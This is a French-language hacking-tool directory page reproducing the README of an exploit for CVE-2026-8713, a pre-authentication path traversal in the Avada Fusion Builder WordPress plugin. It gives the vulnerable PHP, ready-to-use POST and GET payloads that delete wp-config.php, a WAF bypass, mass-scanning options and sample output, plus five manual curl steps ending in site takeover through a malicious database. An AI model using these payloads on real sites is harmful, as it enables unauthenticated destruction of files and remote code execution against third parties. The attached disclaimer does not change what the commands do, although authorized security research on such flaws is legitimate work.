Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-8713 — Traversée de chemin avant authentification menant à la suppression arbitraire de fichiers dans Avada (Fusion) Builder <= 3.15.3 conduisant à une RCE (CVSS 9.1) | Kitploit
Outils/GitHubGitHub/shinthink/cve-2026-8713
Scanners de VulnérabilitésAnalyse des VulnérabilitésExploitationExploitation d'Applications WebContournement de WAFSécurité WebTests d'IntrusionApprentissage et Éducation
GitHubshinthink/cve-2026-8713

CVE-2026-8713

Traversée de chemin avant authentification menant à la suppression arbitraire de fichiers dans Avada (Fusion) Builder <= 3.15.3 conduisant à une RCE (CVSS 9.1)

420il y a 2 moisPas encore vérifié
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-8713 — Exploit Avada (Fusion) Builder pour WordPress

Traversée de chemin sans authentification → Suppression arbitraire de fichier → Réinstallation forcée → RCE


Aperçu

CVE-2026-8713 est une vulnérabilité critique CVSS 9.1 dans le plugin/thème Avada (Fusion) Builder pour WordPress. La fonction maybe_delete_files() de la classe Fusion_Form_DB_Entries construit des chemins de fichiers à partir de valeurs de champ de formulaire contrôlées par l'attaquant en utilisant un simple remplacement de chaîne — sans validation realpath() ni vérification de confinement de répertoire.

Un attaquant non authentifié soumet une charge utile de traversée de chemin via le handler fusion_form_submit_ajax. Lorsque le hook d'arrêt Fusion_Form_DB_Privacy traite l'entrée avec privacy_expiration_action=delete, le fichier ciblé est supprimé du serveur.

Versions affectées

VersionStatut
Fusion Builder ≤ 3.15.3Vulnérable
Fusion Builder ≥ 3.15.4Corrigé
Thème Avada (tous)Le plugin fourni peut être vulnérable

Note : La version du thème Avada (7.x) diffère de celle du plugin Fusion Builder (3.x). La vulnérabilité se trouve dans le plugin, mais le scanner détecte les deux.


Mécanisme de la vulnérabilité

Cause racine

Dans fusion-builder/inc/class-fusion-form-db-entries.php, la méthode maybe_delete_files() résout les chemins de fichiers en utilisant le remplacement de chaîne sans validation de confinement :

$file_path = str_replace($upload['url'], $upload['path'], $value);
// No realpath() check — path traversal sequences pass through
unlink($file_path);

Chaîne d'attaque

1. L'attaquant soumet un formulaire Avada via wp_ajax_nopriv_fusion_form_submit_ajax
   → Traversée de chemin : ../../wp-config.php
   → privacy_expiration_action = delete
   → privacy_expiration_interval = 0

2. Le hook d'arrêt de WordPress déclenche Fusion_Form_DB_Privacy
   → Traite l'entrée de formulaire stockée
   → Appelle maybe_delete_files() sur le chemin contrôlé par l'attaquant
   → wp-config.php supprimé

3. WordPress passe en mode d'installation
   → L'attaquant connecte le site à une base de données malveillante
   → Exécution de code à distance complète

Accès non authentifié

Le handler AJAX est enregistré avec wp_ajax_nopriv_, le rendant accessible aux utilisateurs non authentifiés :

POST /wp-admin/admin-ajax.php
  action=fusion_form_submit_ajax
  form_id=<id>
  privacy_expiration_action=delete
  fusion_privacy_expiration_interval=0
  fusion_form_field_<name>=../../wp-config.php

Contournement du WAF

De nombreux hébergeurs bloquent le POST vers /wp-admin/admin-ajax.php. WordPress accepte les paramètres via GET sur ce point de terminaison, offrant un contournement trivial :

GET /wp-admin/admin-ajax.php?action=fusion_form_submit_ajax&form_id=<id>&privacy_expiration_action=delete&...

Installation

git clone https://github.com/shinthink/CVE-2026-8713.git
cd CVE-2026-8713
pip install -r requirements.txt

Utilisation

# Détection uniquement (par défaut — pas de suppression de fichier)
python cve_2026_8713.py -t target.com

# Détection de masse
python cve_2026_8713.py -f targets.txt

# Mode exploitation — supprimer wp-config.php
python cve_2026_8713.py -t target.com --exploit

# Supprimer un fichier personnalisé
python cve_2026_8713.py -t target.com --exploit --delete "../../../debug.log"

Arguments

  -t, --target      Cible unique (domaine ou IP)
  -f, --file        Liste de cibles, une par ligne
  --exploit         Activer la suppression de fichier (par défaut : détection uniquement)
  --delete PATH     Chemin de fichier personnalisé à supprimer (par défaut : wp-config.php)
  -o, --output      Sauvegarder les résultats dans un fichier
  --threads         Workers (par défaut : 20)
  -v, --verbose     Afficher les détails

Preuve de concept

Mode Détection

$ python cve_2026_8713.py -f targets.txt
  CVE-2026-8713  Avada (Fusion) Builder  |  CVSS 9.1
  Mode: Détection  |  Cibles : 521  |  Workers : 20
  ───────────────────────────────────────────────────────

  [EXPLOIT]  target-vuln.com      1.2s  formulaire #3  (AJAX ouvert)
  [VULN]     target-waf.com       2.1s  formulaire #1  (WAF bloqué)
  [AVADA]    target-noform.com    0.5s  (aucun formulaire trouvé)
  [-]        target-noavada.com   0.3s

  ───────────────────────────────────────────────────────
  Scan terminé  |  Temps : 45s
  ───────────────────────────────────────────────────────
  Cibles         : 521
  Avada détecté  : 47
  Formulaires    : 12
  Vulnérables    : 9

Mode Exploitation

$ python cve_2026_8713.py -t target.com --exploit -v
  CVE-2026-8713 — Exploit Avada Builder
  CVSS 9.1 | Sans authentification | Traversée de chemin → Suppression de fichier → RCE

    [+] Formulaire Avada trouvé : id=3
    [+] POST form_id=3 : HTTP 403 (WAF bloqué)
    [+] GET form_id=3 : HTTP 200 (WAF contourné)

  Hôte     : target.com
  Avada    : OUI
  Formulaire : 3
  Supprimé : wp-config.php (réinstallation forcée → RCE)
  Temps    : 3.2s

Exploitation manuelle

Étape 1 — Vérifier Avada

curl -sk 'https://target.com/wp-content/themes/Avada/style.css' | head -5

Étape 2 — Trouver l'ID du formulaire

curl -sk 'https://target.com/' | grep -oP 'fusion-form[^"]*form-id=["\x27](https://github.com/shinthink/cve-2026-8713/blob/main/%5Cd%2B)'

Étape 3 — Soumettre le formulaire avec traversée de chemin

curl -sk -X POST \
  -d 'action=fusion_form_submit_ajax' \
  -d 'form_id=3' \
  -d 'privacy_expiration_action=delete' \
  -d 'fusion_privacy_expiration_interval=0' \
  -d 'fusion_form_field_x=../../wp-config.php' \
  'https://target.com/wp-admin/admin-ajax.php'

Étape 4 — Contournement du WAF (si POST bloqué)

curl -sk 'https://target.com/wp-admin/admin-ajax.php?action=fusion_form_submit_ajax&form_id=3&privacy_expiration_action=delete&fusion_privacy_expiration_interval=0&fusion_form_field_x=../../wp-config.php'

Étape 5 — Vérifier et exploiter RCE

# Site en mode installation ?
curl -sk -o /dev/null -w '%{http_code}' 'https://target.com/wp-admin/install.php'
# HTTP 200 → wp-config supprimé → connecter une DB malveillante → RCE complète

Avertissement

À DES FINS ÉDUCATIVES ET DE TESTS AUTORISÉS UNIQUEMENT.

Ce logiciel est destiné aux professionnels de la sécurité menant des tests de pénétration autorisés, aux organisations auditant leur propre infrastructure, et aux chercheurs étudiant l'exploitation de vulnérabilités.

L'accès non autorisé aux systèmes informatiques est illégal et peut violer :

  • États-Unis : Computer Fraud and Abuse Act (18 U.S.C. 1030)
  • Indonésie : UU ITE Pasal 30 & 46
  • Union européenne : Directive 2013/40/EU
  • Royaume-Uni : Computer Misuse Act 1990

Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.


Références

Télécharger l’outil